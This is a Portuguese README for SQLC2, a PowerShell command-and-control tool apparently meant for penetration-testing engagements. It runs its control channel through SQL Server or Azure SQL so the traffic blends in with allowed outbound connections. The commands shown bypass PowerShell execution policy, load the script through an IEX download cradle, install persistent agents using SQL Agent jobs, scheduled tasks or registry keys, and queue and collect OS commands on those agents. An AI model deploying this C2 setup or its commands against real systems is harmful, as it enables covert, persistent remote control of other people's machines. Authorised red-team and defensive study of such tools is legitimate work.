
SQLC2 é um script PowerShell para implantar e gerenciar um sistema de comando e controle que usa o SQL Server tanto como servidor de controle quanto como agente.
O SQLC2 é um script PowerShell para implantar e gerenciar um sistema de comando e controle que usa o SQL Server como servidor de controle e agente. Em sua essência, o SQLC2 é apenas um script PowerShell, um script TSQL e algumas tabelas em uma instância do SQL Server que rastreiam agentes, comandos e resultados. Nada muito sofisticado, mas pode ser útil em alguns engajamentos.
Para uma visão geral mais completa do SQLC2, confira o blog em https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/.
Mais empresas estão começando a usar bancos de dados do Azure SQL Server. Quando essas instâncias do Azure SQL Server são criadas, elas se tornam acessíveis por meio de um subdomínio de database.windows.net na porta 1433. Por exemplo, eu poderia criar uma instância do SQL Server chamada "mysupersqlserver.database.windows.net". Como resultado, algumas configurações de rede corporativa permitem acesso de saída à internet para qualquer subdomínio "database.windows.net" na porta 1433.
A ideia geral é que, à medida que a adoção do Azure SQL Server cresce, haverá mais oportunidades de usar o SQL Server como um canal de controle que se parece, de certa forma, com tráfego normal. O SQLPS é uma prova de conceito bastante básica, mas acho que é funcional o suficiente para ilustrar a ideia. Sei que há algumas melhorias a serem feitas, mas se você acabar brincando com ele, adoraria receber seu feedback.
Embora haja uma ênfase no uso do SQLC2 com instâncias do Azure SQL Server, você pode hospedar seu próprio SQL Server em qualquer ambiente de nuvem e configurá-lo para escutar na porta 443 com SSL habilitado. Assim, ele pode oferecer um pouco mais de flexibilidade, dependendo de quanto esforço você quer investir.
Opção 1: Baixe o script e importe-o. Isso não requer privilégios administrativos e será importado apenas na sessão atual. No entanto, pode ser bloqueado por políticas de execução restritivas, então você pode querer usar a opção de bypass.
Set-ExecutionPolicy Bypass -Scope Process
Import-Module SQLC2.ps1
Opção 2: Carregue-o em uma sessão por meio de um download cradle. Isso não requer privilégios administrativos e será importado apenas na sessão atual. Não deve ser bloqueado por políticas de execução.
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")
Nota: Para executar como um usuário de domínio alternativo, use o comando runas para iniciar o PowerShell primeiro.
runas /noprofile /netonly /user:domain\user PowerShell.exe

Abaixo está uma lista de funções de usuário que suportam os fluxos de trabalho pretendidos.
| Nome da Função | Descrição |
|---|---|
| Install-SQLC2Server | Instala as tabelas do SQLC2 no SQL Server/banco de dados de destino. |
| Install-SQLC2AgentPs | Instala um agente que usa um trabalho de agente do SQL Server e um link de servidor. |
| Install-SQLC2AgentLink | Instala um agente que usa uma tarefa agendada ou chave de registro para executar comandos do PowerShell. |
| Set-SQLC2Command | Define comandos do sistema operacional para os agentes executarem. |
| Get-SQLC2Command | Obtém uma lista de comandos do sistema operacional pendentes do C2 para o agente. Também pode executar o comando pendente com a flag -Execute. |
| Get-SQLC2Agent | Obtém uma lista de agentes registrados no servidor SQLC2. |
| Get-SQLC2Result | Obtém uma lista de comandos pendentes e concluídos. Suporta filtros de servername, status e cid. |
| Remove-SQLC2Agent | Remove agentes registrados no SQLC2. Simplesmente limpa o histórico. |
| Remove-SQLC2Command | Remove o histórico de comandos no servidor SQLC2. |
| Uninstall-SQLC2AgentLink | Desinstala o agente SQLC2 que usa links de servidor e um trabalho de agente. |
| Uninstall-SQLC2AgentPs | Desinstala todos os métodos de persistência baseados no sistema operacional. |
| Uninstall-SQLC2Server | Remove as tabelas do SQLC2 do banco de dados de destino. |
Abaixo estão algumas capturas de tela de exemplo.
Instalar o servidor SQLC2 (criar tabelas):
Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Instalar o agente SQLC2 (trabalho de agente do SQL Server que usa um link de servidor):
Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Visualizar agentes do SQLC2:
Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Definir comando para executar no agente:
Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

Obter resultados do comando:
Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'
